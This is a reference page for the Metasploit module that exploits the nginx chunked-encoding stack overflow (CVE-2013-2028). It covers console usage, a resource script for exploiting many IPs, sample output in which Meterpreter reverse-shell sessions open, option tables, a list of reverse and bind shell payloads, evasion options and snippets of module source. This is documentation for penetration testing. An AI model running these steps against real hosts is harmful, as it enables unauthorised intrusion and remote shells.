Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/linux/http/nginx_chunked_size metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow
Module: exploit/linux/http/nginx_chunked_size
Source code: modules/exploits/linux/http/nginx_chunked_size.rb
Disclosure date: 2013-05-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2013-2028
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size. This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using nginx_chunked_size against a single host
Normally, you can use exploit/linux/http/nginx_chunked_size this way:
msf > use exploit/linux/http/nginx_chunked_size
msf exploit(nginx_chunked_size) > show targets
... a list of targets ...
msf exploit(nginx_chunked_size) > set TARGET target-id
msf exploit(nginx_chunked_size) > show options
... show and set options ...
msf exploit(nginx_chunked_size) > exploit
Using nginx_chunked_size against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your nginx_chunked_size will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/nginx_chunked_size")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/nginx_chunked_size exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/nginx_chunked_size
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/nginx_chunked_size) > show info
Name: Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow
Module: exploit/linux/http/nginx_chunked_size
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2013-05-07
Provided by:
Greg MacManus
hal
saelo
Available targets:
Id Name
-- ----
0 Ubuntu 13.04 32bit - nginx 1.4.0
1 Debian Squeeze 32bit - nginx 1.4.0
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The remote HTTP server port (TCP)
Payload information:
Avoid: 2 characters
Description:
This module exploits a stack buffer overflow in versions 1.3.9 to
1.4.0 of nginx. The exploit first triggers an integer overflow in
the ngx_http_parse_chunked() by supplying an overly long hex value
as chunked block size. This value is later used when determining the
number of bytes to read into a stack buffer, thus the overflow
becomes possible.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-2028
OSVDB (93037)
http://nginx.org/en/security_advisories.html
https://packetstormsecurity.com/files/121560
Module Options
This is a complete list of options available in the linux/http/nginx_chunked_size exploit:
msf6 exploit(linux/http/nginx_chunked_size) > show options
Module options (exploit/linux/http/nginx_chunked_size):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The remote HTTP server port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Ubuntu 13.04 32bit - nginx 1.4.0
Advanced Options
Here is a complete list of advanced options supported by the linux/http/nginx_chunked_size exploit:
msf6 exploit(linux/http/nginx_chunked_size) > show advanced
Module advanced options (exploit/linux/http/nginx_chunked_size):
Name Current Setting Required Description
---- --------------- -------- -----------
CANARY 4294967295 no Use this value as stack canary instead of brute forcing it
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/nginx_chunked_size module can exploit:
msf6 exploit(linux/http/nginx_chunked_size) > show targets
Exploit targets:
Id Name
-- ----
0 Ubuntu 13.04 32bit - nginx 1.4.0
1 Debian Squeeze 32bit - nginx 1.4.0
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nginx_chunked_size exploit:
msf6 exploit(linux/http/nginx_chunked_size) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/nginx_chunked_size exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/nginx_chunked_size) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
82: elsif res =~ /^Server: nginx/m
83: return Exploit::CheckCode::Detected
84: end
85:
86: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
87: vprint_error("Connection failed")
88: return Exploit::CheckCode::Unknown
89: end
90:
91: return Exploit::CheckCode::Safe
92: end
Invalid target specified: no callback functions defined
Here is a relevant code snippet related to the "Invalid target specified: no callback functions defined" error message:
186: end
187:
188: def dereference_got
189:
190: unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
191: fail_with(Failure::NoTarget, "Invalid target specified: no callback functions defined")
192: end
193:
194: buf = ""
195: command = payload.encoded
196: i = 0
<PEER> - Unable to find stack canary
Here is a relevant code snippet related to the "<PEER> - Unable to find stack canary" error message:
217: else
218: print_status("Searching for stack canary")
219: canary = find_canary
220:
221: if canary.nil? || canary == 0x00000000
222: fail_with(Failure::Unknown, "#{peer} - Unable to find stack canary")
223: else
224: print_good("Canary found: 0x%08x\n" % canary)
225: end
226: end
227:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8169 Merged Pull Request: Add missing ranks
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1860 Merged Pull Request: Nginx exploit module.
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/nginx_source_disclosure
- exploit/windows/ftp/wftpd_size
- exploit/linux/http/lifesize_uvc_ping_rce
- exploit/unix/http/lifesize_room
- exploit/windows/browser/ibm_spss_c1sizer
- exploit/windows/browser/ms07_017_ani_loadimage_chunksize
- exploit/windows/email/ms07_017_ani_loadimage_chunksize
- exploit/windows/fileformat/apple_quicktime_pnsize
- exploit/windows/fileformat/ms11_006_createsizeddibsection
- exploit/windows/http/apache_chunked
- exploit/windows/isapi/ms03_051_fp30reg_chunked
- auxiliary/dos/wireshark/chunked
Related Nessus plugins:
- FreeBSD : nginx -- multiple vulnerabilities (efaa4071-b700-11e2-b1b9-f0def16c5c1b)
- Fedora 19 : nginx-1.4.1-1.fc19 (2013-7560)
- nginx ngx_http_proxy_module.c Multiple Vulnerabilities
- GLSA-201310-04 : nginx: Multiple vulnerabilities
Authors
- Greg MacManus
- hal
- saelo
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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